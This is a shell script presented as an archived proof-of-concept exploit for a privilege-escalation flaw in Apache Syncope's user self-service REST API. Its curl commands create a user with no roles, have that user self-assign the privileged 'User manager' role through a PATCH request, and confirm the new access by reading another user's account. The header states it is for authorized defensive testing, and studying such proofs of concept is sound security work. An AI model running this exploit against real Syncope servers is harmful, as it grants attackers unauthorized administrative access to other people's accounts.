#!/bin/sh
# Archived for authorized security research and defensive testing only.
# Source: https://github.com/NicPWNs/CVE-2026-62183 (see README for attribution).
# Only this header was added; the PoC commands below are copied from upstream.
# Do not run against systems you do not own or have written permission to test.
# CVE-2026-62183 — Apache Syncope user self-service privilege escalation (CWE-269 / CWE-862).
# Runtime PoC. Verified on Syncope 3.0.16 standalone (JDK 17), domain "Master".
#
# A fresh user with NO roles self-assigns the existing privileged role "User manager"
# via PATCH /users/self/{key} (which requires only isAuthenticated()) and gains its rights.
# Uses only legitimate, documented API calls to demonstrate the authorization gap.
#
# Usage:  B=http://localhost:9080/syncope/rest ./poc.sh
set -e
B=${B:-http://localhost:9080/syncope/rest}
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'

echo "[setup] admin creates plain user 'eviluser2' (no roles)"
K2=$(curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
 "realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
 "plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
 {"schema":"userId","values":["e2@apache.org"]}]}' | python -c "import json,sys;print(json.load(sys.stdin)['entity']['key'])")
echo "   eviluser2 key=$K2"

AUTH="-u eviluser2:Password123!"
echo "[1] baseline: eviluser2 reads another account -> expect 403"
curl -s $AUTH $H -o /dev/null -w '    GET /users/bellini = %{http_code}\n' "$B/users/bellini"

echo "[2] BUG: eviluser2 self-assigns existing role 'User manager' -> expect 200"
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
 "key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
 -o /dev/null -w '    PATCH /users/self/{key} = %{http_code}\n'

echo "[3] escalated: eviluser2 reads any account -> expect 200"
curl -s $AUTH $H -o /dev/null -w '    GET /users/bellini = %{http_code}\n' "$B/users/bellini"
